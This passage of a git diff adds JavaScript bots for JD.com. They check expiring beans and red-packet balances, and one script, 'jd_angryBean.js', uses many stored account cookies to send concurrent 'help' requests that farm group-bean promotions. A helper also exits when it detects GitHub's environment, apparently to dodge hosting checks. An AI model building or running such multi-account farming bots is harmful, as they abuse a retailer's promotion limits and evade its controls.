Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + // console.log(data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryexpirejingdou() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.expirejingdou = 0; + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data.slice(23, -13)); + // console.log(data) + if (data.ret === 0) { + data['expirejingdou'].map(item => { + console.log(`${timeFormat(item['time'] * 1000)}日过期京豆:${item['expireamount']}\n`); + }) + $.expirejingdou = data['expirejingdou'][0]['expireamount']; + // if ($.expirejingdou > 0) { + // $.message += `\n今日将过期:${$.expirejingdou}京豆 🐶`; + // } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function redPacket() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, + "headers": { + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', + 'Accept-Encoding': 'gzip, deflate, br', + "Cookie": cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data).data + $.jxRed = 0, $.jsRed = 0, $.jdRed = 0, $.jdhRed = 0, $.jxRedExpire = 0, $.jsRedExpire = 0, $.jdRedExpire = 0, $.jdhRedExpire = 0; + let t = new Date() + t.setDate(t.getDate() + 1) + t.setHours(0, 0, 0, 0) + t = parseInt((t - 1) / 1000) + for (let vo of data.useRedInfo.redList || []) { + if (vo.activityName.includes("京喜")) { + $.jxRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jxRedExpire += parseFloat(vo.balance) + } + } else if (vo.activityName.includes("极速版")) { + $.jsRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jsRedExpire += parseFloat(vo.balance) + } + } else if (vo.orgLimitStr && vo.orgLimitStr.includes("京东健康")) { + $.jdhRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdhRedExpire += parseFloat(vo.balance) + } + } else { + $.jdRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdRedExpire += parseFloat(vo.balance) + } + } + } + $.jxRed = $.jxRed.toFixed(2) + $.jsRed = $.jsRed.toFixed(2) + $.jdRed = $.jdRed.toFixed(2) + $.balance = data.balance + $.expiredBalance = data.expiredBalance || 0; + $.message += `\n当前总红包:${$.balance}(今日总过期${($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2)})元 🧧\n京喜红包:${$.jxRed}(今日将过期${$.jxRedExpire.toFixed(2)})元 🧧\n极速版红包:${$.jsRed}(今日将过期${$.jsRedExpire.toFixed(2)})元 🧧\n京东红包:${$.jdRed}(今日将过期${$.jdRedExpire.toFixed(2)})元 🧧\n健康红包:${$.jdhRed}(今日将过期${$.jdhRedExpire.toFixed(2)})元 🧧`; + // if ($.expiredBalance > 0) $.message += `\n今明二日过期:${$.expiredBalance}元红包🧧`; + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_angryBean.js b/backUp/jd_angryBean.js new file mode 100644 index 0000000..0703327 --- /dev/null +++ b/backUp/jd_angryBean.js @@ -0,0 +1,650 @@ +/* +真·抢京豆 +更新时间:2021-7-25 +备注:高速并发抢京豆,专治偷助力。设置环境变量angryBeanPins为指定账号助力,默认不助力。环境变量angryBeanMode可选值priority(优先模式)、smart(智能模式)和speed(极速模式),默认speed模式。默认推送通知,如要屏蔽通知需将环境变量enableAngryBeanNotify的值设为false。 +TG学习交流群:https://t.me/cdles +0 0 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_angryBean.js +*/ +const $ = new Env("真·抢京豆") +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +const speed = "speed" +const smart = "smart" +var pins = $.isNode() ? (process.env.angryBeanPins ? process.env.angryBeanPins : "") : ""; +let cookiesArr = []; +var helps = []; +var tools = []; +var maxTimes = 3; +var finished = new Set(); +var init = []; +var mode = $.isNode() ? (process.env.angryBeanMode ? process.env.angryBeanMode : "speed") : "priority"; + +!(async () => { + if ($.isNode() && !pins) { + console.log("请在环境变量中填写需要助力的账号") + return + } + console.log(`开启${mode}模式`) + requireConfig() + for (let i in cookiesArr) { + i = +i + cookie = cookiesArr[i] + var tool = { + id: i, + cookie: cookie, + helps: new Set(), + times: 0, + timeout: 0, + } + var address = pins.indexOf(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + if (!$.isNode() || address != -1) { + var data = await requestApi('signGroupHit', cookie, { + activeType: 2 + }); + if (data && data.data && data.data.respCode) { + if (data.data.respCode != "SG100") { + data = await getTuanInfo(cookie) + if (data && data.data && data.data.shareCode) { + console.log(`账号${toChinesNum(i+1)},准备抢京豆`) + var help = { + id: i, + cookie: cookie, + groupCode: data.data.groupCode, + shareCode: data.data.shareCode, + activityId: data.data.activityMsg.activityId, + success: false, + address: address, + notYet: data.data.beanCountProgress.progressNotYet, + } + helps.push(help) + if (mode == speed) { + tool.helps.add(i) + } + init.push(i) + } else { + console.log(`账号${toChinesNum(i+1)},异常`) + } + } else { + console.log(`账号${toChinesNum(i+1)}是黑号,快去怼客服吧`) + } + } else { + console.log(`账号${toChinesNum(i+1)},登录信息过期了`) + } + + } + tools.push(tool) + } + helps.sort((i, j) => { + return i.address > j.address ? 1 : -1 + }) + for (var k = 0; k < (mode == smart ? 50 : 1); k++) { + for (let help of helps) { + if (k != 0) { + if (help.success) break + cookie = help.cookie + data = await getTuanInfo(cookie) + if (data && data.data && data.data.shareCode) { + help.notYet = data.data.beanCountProgress.progressNotYet + } + if (!help.notYet) break + } + await open(help) + } + } + if (mode == speed) { + while (finished.size != init.length) + await $.wait(100) + } + var beanCount = 0 + var msg = "" + for (let help of helps) { + data = await getTuanInfo(help.cookie) + if (data) { + var sumBeanNum = +data.data.sumBeanNumStr + beanCount += sumBeanNum + out = `账号${toChinesNum(help.id+1)},已抢京豆:${sumBeanNum}` + console.log(out) + msg += out + "\n" + } + } + out = `今日累计获得${beanCount}京豆` + console.log(out) + msg += out + "\n" + if (($.isNode() ? (process.env.enableAngryBeanNotify == "false" ? "false" : "true") : "false") == "true") { + require('./sendNotify').sendNotify(`真·抢京豆`, msg); + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function getTuanInfo(cookie) { + return await requestApi('signBeanGroupStageIndex', cookie, { + rnVersion: "3.9", + fp: "-1", + shshshfp: "-1", + shshshfpa: "-1", + referUrl: "-1", + userAgent: "-1", + jda: "-1", + monitor_source: "bean_m_bean_index" + }); +} + +async function open(help) { + var tool = tools.pop() + if (!tool) { + finished.add(help.id) + return + } + if (mode == smart && !help.notYet) { + return + } + if (mode == speed) { + tool.timeout++ + ecpt = new Set(tool.helps, finished) + diff = new Set(init.filter(hid => !ecpt.has(hid))) + if (tool.timeout > maxTimes * 2) { //超时处理 + open(help) + return + } + if (diff.size == 0) { //助力完成 + open(help) + return + } else { + if (tool.helps.has(help.id)) { //阻止自己给自己助力 + tools.unshift(tool) + open(help) + return + } + //ok + } + } else { + if (tool.helps.has(help.id)) { + tool.helps.add(help.id) + tools.unshift(tool) + finished.add(help.id) + return + } + if (tool.id == help.id) { + tool.helps.add(help.id) + tools.unshift(tool) + await open(help) + return + } + } + async function handle(data) { + var helpToast = undefined + if (data && data.data && data.data.helpToast) { + tool.helps.add(help.id) + helpToast = data.data.helpToast + if (helpToast.indexOf("助力成功") != -1) { //助力成功 + tool.times++ + help.notYet-- + } + if (helpToast.indexOf("满") != -1) { //该团已经满啦~去帮别人助力吧~ + help.success = true + } + if (helpToast.indexOf("今日助力次数已达上限") != -1) { //您今日助力次数已达上限~ + tool.times = maxTimes + } + if (helpToast.indexOf("火爆") != -1) { //活动太火爆啦~请稍后再试~ + tool.times = maxTimes + } + if (tool.times < maxTimes) { + tools.unshift(tool) + } + } else { + if (data && data.errorMessage == "用户未登录") { + helpToast = "用户未登录" + } else { + tools.unshift(tool) + helpToast = "异常" + } + } + console.log(`${tool.id+1}->${help.id+1} ${helpToast}`) + if (!help.success) { + await open(help) + } else { + finished.add(help.id) + } + } + var params = { + activeType: 2, + groupCode: help.groupCode, + shareCode: help.shareCode, + activeId: help.activityId + "", + source: "guest", + } + if (mode != "speed") { + data = await requestApi('signGroupHelp', tool.cookie, params) + await handle(data) + } else { + requestApi('signGroupHelp', tool.cookie, params).then(handle) + } +} + +function requestApi(functionId, cookie, body = {}, time = 0) { + var url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${JSON.stringify(body)}&appid=ld&client=apple&clientVersion=10.0.4&networkType=wifi&osVersion=13.7&uuid=&openudid=` + return new Promise(resolve => { + $.get({ + url: url, + headers: { + "Cookie": cookie, + "Accept": '*/*', + "Connection": 'keep-alive', + 'Referer': 'https://h5.m.jd.com/rn/3MQXMdRUTeat9xqBSZDSCCAE9Eqz/index.html?has_native=0', + "origin": "https://h5.m.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded', + "X-Requested-With": "com.jingdong.app.mall", + "User-Agent": ua, + "Host": "api.m.jd.com", + }, + timeout: 2500, + }, (_, resp, data) => { + if (data) { + data = JSON.parse(data) + resolve(data) + } else { + if (time == 5) { + resolve(0) + } else { + requestApi(functionId, cookie, body, time + 1).then(function (data) { + resolve(data) + }) + } + } + }) + }) +} + +let toChinesNum = (num) => { + let changeNum = ['零', '一', '二', '三', '四', '五', '六', '七', '八', '九']; + let unit = ["", "十", "百", "千", "万"]; + num = parseInt(num); + let getWan = (temp) => { + let strArr = temp.toString().split("").reverse(); + let newNum = ""; + for (var i = 0; i < strArr.length; i++) { + newNum = (i == 0 && strArr[i] == 0 ? "" : (i > 0 && strArr[i] == 0 && strArr[i - 1] == 0 ? "" : changeNum[strArr[i]] + (strArr[i] == 0 ? unit[0] : unit[i]))) + newNum; + } + return newNum; + } + let overWan = Math.floor(num / 10000); + let noWan = num % 10000; + if (noWan.toString().length < 4) { + noWan = "0" + noWan; + } + return overWan ? getWan(overWan) + "万" + getWan(noWan) : getWan(num); +} + +function requireConfig() { + return new Promise(resolve => { + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch (e) { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch (e) { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() 